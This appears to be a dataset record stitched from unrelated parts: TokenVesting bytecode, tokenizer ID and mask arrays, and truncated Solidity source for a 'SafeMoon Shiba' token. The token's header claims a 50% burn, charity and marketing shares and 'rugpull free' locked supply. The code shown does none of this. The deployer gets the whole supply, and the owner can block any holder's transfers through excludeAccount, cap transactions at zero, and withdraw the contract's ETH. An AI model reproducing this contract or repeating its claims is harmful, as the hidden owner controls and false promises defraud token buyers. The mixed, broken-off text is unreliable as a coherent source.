0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063872a78101161008c5780639852595c116100665780639852595c1461027a578063be9a6555146102d2578063f2fde38b146102f0578063fa01dc0614610334576100cf565b8063872a7810146101ec5780638da5cb5b1461020e5780638f32d59b14610258576100cf565b80630fb5a6b4146100d457806313d033c0146100f2578063191655871461011057806338af3eed14610154578063715018a61461019e57806374a8f103146101a8575b600080fd5b6100dc610390565b6040518082815260200191505060405180910390f35b6100fa61039a565b6040518082815260200191505060405180910390f35b6101526004803603602081101561012657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103a4565b005b61015c61057a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101a66105a4565b005b6101ea600480360360208110156101be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106df565b005b6101f4610a57565b604051808215151515815260200191505060405180910390f35b610216610a6e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610260610a97565b604051808215151515815260200191505060405180910390f35b6102bc6004803603602081101561029057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610af5565b6040518082815260200191505060405180910390f35b6102da610b3e565b6040518082815260200191505060405180910390f35b6103326004803603602081101561030657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b48565b005b6103766004803603602081101561034a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bd0565b604051808215151515815260200191505060405180910390f35b6000600454905090565b6000600254905090565b60006103af82610c26565b9050600081111515610429576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f546f6b656e56657374696e673a206e6f20746f6b656e7320617265206475650081525060200191505060405180910390fd5b61047b81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c8990919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061050b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16828473ffffffffffffffffffffffffffffffffffffffff16610d139092919063ffffffff16565b7fc7798891864187665ac6dd119286e44ec13f014527aeeb2b8eb3fd413df931798282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6105ac610a97565b1515610620576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6106e7610a97565b151561075b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600560009054906101000a900460ff1615156107df576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f546f6b656e56657374696e673a2063616e6e6f74207265766f6b65000000000081525060200191505060405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610884576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116d66023913960400191505060405180910390fd5b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561090357600080fd5b505afa158015610917573d6000803e3d6000fd5b505050506040513d602081101561092d57600080fd5b81019080805190602001909291905050509050600061094b83610c26565b905060006109628284610de490919063ffffffff16565b90506001600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506109ee6109c7610a6e565b828673ffffffffffffffffffffffffffffffffffffffff16610d139092919063ffffffff16565b7f39983c6d4d174a7aee564f449d4a5c3c7ac9649d72b7793c56901183996f8af684604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150505050565b6000600560009054906101000a900460ff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ad9610e2e565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600354905090565b610b50610a97565b1515610bc4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610bcd81610e36565b50565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000610c82600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c7484610f7c565b610de490919063ffffffff16565b9050919050565b6000808284019050838110151515610d09576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b610ddf838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611166565b505050565b6000610e2683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113b9565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610ebe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116656026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610ffc57600080fd5b505afa158015611010573d6000803e3d6000fd5b505050506040513d602081101561102657600080fd5b81019080805190602001909291905050509050600061108d600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610c8990919063ffffffff16565b90506002544210156110a457600092505050611161565b6110bb600454600354610c8990919063ffffffff16565b421015806111125750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611121578092505050611161565b61115c60045461114e61113f60035442610de490919063ffffffff16565b8461147b90919063ffffffff16565b61150590919063ffffffff16565b925050505b919050565b6111858273ffffffffffffffffffffffffffffffffffffffff1661154f565b15156111f9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b60208310151561124a5780518252602082019150602081019050602083039250611225565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146112ac576040519150601f19603f3d011682016040523d82523d6000602084013e6112b1565b606091505b509150915081151561132b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b6000815111156113b35780806020019051602081101561134a57600080fd5b810190808051906020019092919050505015156113b2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806116ac602a913960400191505060405180910390fd5b5b50505050565b60008383111582901515611468576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561142d578082015181840152602081019050611412565b50505050905090810190601f16801561145a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083141561148e57600090506114ff565b600082840290508284828115156114a157fe5b041415156114fa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061168b6021913960400191505060405180910390fd5b809150505b92915050565b600061154783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061159a565b905092915050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f915080821415801561159157506000801b8214155b92505050919050565b600080831182901515611648576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561160d5780820151818401526020810190506115f2565b50505050905090810190601f16801561163a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581151561165657fe5b04905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564546f6b656e56657374696e673a20746f6b656e20616c7265616479207265766f6b6564a165627a7a723058207447aa50fae7ad5c3ec9f8f2152fb6051c4687aaf0eac478386be63c37dc6d590029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 22610, 23632, 18139, 2620, 14141, 19841, 2581, 7959, 2063, 18139, 2094, 2692, 14141, 2063, 2581, 2683, 3540, 22407, 2278, 2581, 2509, 2063, 2683, 2683, 19481, 29292, 1013, 1013, 5371, 1024, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 2330, 4371, 27877, 2378, 1013, 2330, 4371, 27877, 2378, 1011, 8311, 1013, 1038, 4135, 2497, 1013, 2713, 1011, 1058, 2475, 1012, 1019, 1012, 1014, 1013, 8311, 1013, 28177, 2078, 1013, 6123, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,751
0x974750deea1267c2af49125970140f90ac087933
/** Application for CoinGecko and CMC is pending Burned: 50% (ensure fair launch) Charity: 7.5 % (charities selected by community) Marketing: 7.5% (for website creation) Locked Supply (rugpull free) Banned Bot accounts against sandwiches #SafeMoon Shiba - SafeMoon Shiba Smart Contract Community based project. All memes. The community is in charge. ! ! ^ / \ /___\ |= =| | | | | | | | | | | | | | | | | | | /|#SMS#|\ / |#SMS#| \ / |#SMS#| \ | / ^ | ^ \ | | / ( | ) \ | |/ ( | ) \| (( )) (( : )) (( : )) (( )) (( )) ( ) . . . */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, 'SafeMath: addition overflow'); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, 'SafeMath: subtraction overflow'); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, 'SafeMath: multiplication overflow'); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, 'SafeMath: division by zero'); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, 'SafeMath: modulo by zero'); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, 'Address: insufficient balance'); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(''); require( success, 'Address: unable to send value, recipient may have reverted' ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, 'Address: low-level call failed'); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, 'Address: low-level call with value failed' ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, 'Address: insufficient balance for call' ); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), 'Address: call to non-contract'); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract SafeMoonShiba is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'SafeMoon Shiba'; string private _symbol = 'SMS'; uint8 private _decimals = 9; uint256 public _maxTxAmount = 50000000 * 10**6 * 10**9; constructor() public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, 'ERC20: transfer amount exceeds allowance' ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, 'ERC20: decreased allowance below zero' ) ); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); } function rescueFromContract() external onlyOwner { address payable _owner = _msgSender(); _owner.transfer(address(this).balance); } function reflect(uint256 tAmount) public { address sender = _msgSender(); require( !_isExcluded[sender], 'Excluded addresses cannot call this function' ); (uint256 rAmount, , , , ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns (uint256) { require(tAmount <= _tTotal, 'Amount must be less than supply'); if (!deductTransferFee) { (uint256 rAmount, , , , ) = _getValues(tAmount); return rAmount; } else { (, uint256 rTransferAmount, , , ) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns (uint256) { require(rAmount <= _rTotal, 'Amount must be less than total reflections'); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], 'Account is already excluded'); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], 'Account is already excluded'); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), 'ERC20: approve from the zero address'); require(spender != address(0), 'ERC20: approve to the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address sender, address recipient, uint256 amount ) private { require(sender != address(0), 'ERC20: transfer from the zero address'); require(recipient != address(0), 'ERC20: transfer to the zero address'); require(amount > 0, 'Transfer amount must be greater than zero'); if (sender != owner() && recipient != owner()) { require( amount <= _maxTxAmount, 'Transfer amount exceeds the maxTxAmount.' ); require(!_isExcluded[sender], 'Account is excluded'); } if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = 0; uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < 